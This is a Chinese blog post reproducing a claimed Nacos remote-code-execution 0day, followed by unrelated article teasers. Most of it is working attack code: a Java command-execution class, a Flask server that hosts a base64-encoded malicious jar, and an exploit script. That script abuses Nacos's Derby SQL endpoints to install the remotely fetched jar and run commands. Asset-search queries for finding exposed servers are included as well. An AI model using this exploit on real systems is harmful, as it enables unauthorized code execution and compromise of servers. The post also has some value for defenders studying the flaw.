Nacos最新0day漏洞复现

目录

一、漏洞原理

二、版本信息

三、资产测绘

四、poc信息

五、总结


一、漏洞原理

   漏洞的核心在于 Nacos 的某些接口没有严格的权限控制,攻击者可以通过特制的请求向 Nacos 服务器发送恶意数据,从而执行任意代码。下载nacos代码搭建环境https://github.com/ayoundzw/nacos-poc这次漏洞 需要登录到后才才能利用漏洞涉及到 Nacos 在处理反序列化数据时的缺陷,攻击者能够通过特定的 JSON 数据结构,远程执行恶意代码。以利用该漏洞读取敏感文件、执行系统命令。

启动nacos:

D:\nacos\bin>startup.cmd -m standalone

二、版本信息

目前据说版本是2.32-2.40版本

三、资产测绘

fofa: app="NACOS"

quake: app:"NACOS"

四、poc信息

利用工具:

GitHub - ayoundzw/nacos-poc

构造恶意类:

package test.poc;import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.io.StringWriter;public class Example {public Example() {}public static void main(String[] args) {String ret = exec("ipconfig");System.out.println(ret);}public static String exec(String cmd) {StringBuffer bf = new StringBuffer();try {String charset = "utf-8";String osName = System.getProperty("os.name");if (osName != null && osName.startsWith("Windows")) {charset = "gbk";}Process p = Runtime.getRuntime().exec(cmd);InputStream fis = p.getInputStream();InputStreamReader isr = new InputStreamReader(fis, charset);BufferedReader br = new BufferedReader(isr);String line = null;while((line = br.readLine()) != null) {bf.append(line);}} catch (Exception var10) {StringWriter writer = new StringWriter();PrintWriter printer = new PrintWriter(writer);var10.printStackTrace(printer);try {writer.close();printer.close();} catch (IOException var9) {}return "ERROR:" + writer.toString();}return bf.toString();}
}

启动恶意服务端:python server.py,把上面的恶意类通过b64压缩处理,加载在flask服务端当作服务器资源:

###python server.py
import base64
from flask import Flask, send_file,Response
import configserver_host = '127.0.0.1'
server_port = 5000
##java恶意数据:
payload = b'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'app = Flask(__name__)@app.route('/download')
def download_file():data = base64.b64decode(payload)response = Response(data, mimetype="application/octet-stream")# response.headers["Content-Disposition"] = "attachment; filename=file.bin"return responseif __name__ == '__main__':app.run(host=server_host, port=server_port)

利用:python exploit.py

利用:python exploit.py
import random
import sys
import requests
from urllib.parse import urljoin
import configdef exploit(target, command, service):removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal')derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')for i in range(0,sys.maxsize):id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',8))post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\nCALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\nCREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id,service=service);option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')\n".format(id=id,cmd=command);get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id,cmd=command);#get_sql = "select * from users /*ROWS FETCH NEXT*/".format(id=id,cmd=command);files = {'file': post_sql}post_resp = requests.post(url=removal_url,files=files)post_json = post_resp.json()if post_json.get('message',None) is None and post_json.get('data',None) is not None:print(post_resp.text)get_resp = requests.get(url=derby_url,params={'sql':get_sql})print(get_resp.text)breakif __name__ == '__main__':service = 'http://{host}:{port}/download'.format(host=config.server_host,port=config.server_port)target = 'http://127.0.0.1:8848'command = 'calc'target = input('请输入目录URL,默认:http://127.0.0.1:8848:') or targetcommand = input('请输入命令,默认:calc:') or commandexploit(target=target, command=command,service=service)

命令执行:

五、总结

这个漏洞其实就是加载远程的service.py放置的远程jar包,并使用Derby数据库中的执行命令去执行jar包中的命令,暂时缓解方法就是设置好认证策略和方法,修复未授权漏洞,毕竟需要登录之后才能利用。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/46608.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数字孪生Digital Twin 结合建筑信息模型 BIM 在AIoT 智慧城市建设中Web 可视化大屏实践...

智慧城市建设通过将城市中的建筑、基础设施等构建 BIM 模型,并与实时采集的数据相结合,创建数字孪生体。可以实现对城市能源消耗、交通流量、环境质量等的实时监测和预测,优化城市规划和资源分配。 01 数字孪生 Digital Twin 数字孪生 Digita…

Jira学习

1.Dev OPS DevOps简介 DEV OPS 流程 DEV OPS流程对应工具 最重要的就是持续集成–Jenkins 2.Jira 新建项目

iOS ------ ARC的工作原理

一,ARC的概念 ARC (Automatic Reference Counting,自动引用计数) 是苹果公司在其编程语言(如 Objective-C 和 Swift)中的内存管理机制。ARC 通过编译器插入的代码自动管理对象的内存生命周期,减少了手动内存管理的复杂…

自主升级,平稳过渡!麒麟信安保障长沙市智慧交通发展中心CentOS迁移无忧

长沙市智慧交通发展中心围绕综合交通运输协调体系的构建,实施交通运行的监测、预测和预警,面向公众提供交通信息服务,开展多种运输方式的调度协调,提供交通行政管理和应急处置的信息保障。 该中心目前数据日交换量超2亿条&#x…

React Native: 构建原生级移动应用的跨平台框架

在移动开发领域,React Native作为一个创新的框架,允许开发者使用JavaScript和React来构建原生移动应用。这意味着开发者可以编写一次代码,同时在iOS和Android平台上运行,而不需要为每个平台单独开发。本文将探讨React Native的基本…

urllib的使用

urllib时python的一个内置库,一共包含四个模块 1. request-请求 这是最基本的HTTP请求模块,可以模拟请求的发送。就像在浏览器输入URL,按下回车一样,只需要给库方法传入URL以及额外的参数,就可以模拟实现发送请求的过…

社交电商的新篇章:AI智能名片O2O商城小程序与传统微商的区别与融合

摘要 在数字经济蓬勃发展的今天,互联网技术的革新正以前所未有的速度重塑着商业格局。传统微商模式,尽管在初期借助社交媒体迅速崛起,但因其固有的局限性,如产品质量不一、营销手段单一、信任机制脆弱等,逐渐暴露出诸…

postman实现接口关联

假如接口2依赖接口1里面的某个字段的值,那么在接口1的Tests里使用代码对这个字段进行提取设置,代码:JSON.parse(responsebody)赋值给一个变量var jsondata,然后将jsondata里面的数据提取出来并设置成公共变量供其他接口进行关联使用&#xff…

HTML-VUE页面调用android 客户端网络请求并返回数据

在Html-- Vue页面调用Android客户端网络请求并返回数据,通常需要通过WebView与Android客户端的JavaScript接口进行交互。以下是一个简化的示例: 在Android端,创建一个JavaScript接口: public class WebAppInterface {Context mC…

Qt程序图标更改以及程序打包

Qt程序图标更改以及程序打包 1 windows1.1 cmake1.1.1 修改.exe程序图标1.1.2 修改显示页面左上角图标 1.2 qmake1.2.1 修改.exe程序图标1.2.2 修改显示页面左上角图标 2 程序打包2.1 MinGW2.2 Visual Studio 3 参考链接 1 windows 1.1 cmake 1.1.1 修改.exe程序图标 获得一个…

重要的单元测试

👽System.out.println(“👋🏼嗨,大家好,我是代码不会敲的小符,目前工作于上海某电商服务公司…”); 📚System.out.println(“🎈如果文章中有错误的地方,恳请大家指正&…

docker将Java、vue、nginx打进镜像(涉及容器打成镜像)

一、背景 一个项目更新需要打成镜像包发布。 dockerspringboot.jarvue静态文件nginx 本文不讲安装docker,安装好安装,镜像源稍微麻烦点 二、操作 抄作业原文 传送门 按照上文拉取centos7,然后将需要的东西直接打进脚本,这样最简单&#…

云原生、Serverless、微服务概念

云原生(Cloud Native) 云原生是一种设计和构建应用程序的方法,旨在充分利用云计算的优势。云原生应用程序通常具有以下特征: 容器化:应用程序和其依赖项被打包在容器中,确保一致的运行环境。常用的容器技…

【Git分支管理】分支2种合并模式

目录 0.回顾 1.ff模式 2.no-ff模式 3.ff模式转no-ff模式 先提交再合并再提交 0.回顾 前面介绍了两种情况总结如下: master没有修改提交,在dev中修改提交,master和dev合并顺利master修改提交的同时dev也修改提交了,产生合并…

【数据结构】高效解决连通性问题的并查集详解及Python实现

文章目录 1. 并查集:一种高效的数据结构2. 并查集的基本操作与优化2.1 初始化2.2 查找操作与路径压缩2.3 合并操作与按秩合并 3. 并查集的应用3.1 判断连通性3.2 计算连通分量 4. 并查集的实际案例4.1 图的连通性问题4.2 网络连接问题 5. 并查集的优缺点5.1 优点5.2…

每天一个数据分析题(四百三十一)- 卡方检验

在列联表分析中,下列不能用卡方检验的是() A. 多个构成的比较 B. 多个率的比较 C. 多个均值的比较 D. 以上都不是 数据分析认证考试介绍:点击进入 题目来源于CDA模拟题库 点击此处获取答案 数据分析专项练习题库 内容涵盖…

HTTP——POST请求详情

POST请求 【传输实体文本】向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在POST请求体中。POST 请求可能会导致新的资源的建立或已有资源的修改。 场景: 1. 提交用户注册信息。 2. 提交修改的用户信息。 常见的…

BernNet Learning Arbitrary Graph Spectral Filters via Bernstein Approximation

发表于:neurips21 推荐指数: #paper/⭐⭐ 设定:在本文中,h是过滤器. bernstein 多项式逼近(这个证明有点稀里糊涂的,反正我觉得一点点问题,可能因为我水平低) p K ( t ) : ∑ k 0 K θ k ⋅ b k K ( t ) ∑ k 0 K f ( k K ) ⋅ ( K k ) ( 1 − t ) K − k t k . p_K(t):…

构建加速器:在Gradle中利用构建缓存提升性能

构建加速器:在Gradle中利用构建缓存提升性能 Gradle作为当今流行的构建工具,提供了多种方式来优化构建速度和效率。其中,Gradle构建缓存是一项强大的功能,它允许重用先前构建的输出,从而显著减少构建时间。本文将深入…

大数据hive表和iceberg表格式

iceberg: https://iceberg.apache.org/ iceberg表,是一种面向大型分析数据集的开放表格式,旨在提供可扩展、高效、安全的数据存储和查询解决方案。它支持多种存储后端上的数据操作,并提供 ACID 事务、多版本控制和模式演化等特性&#xff0c…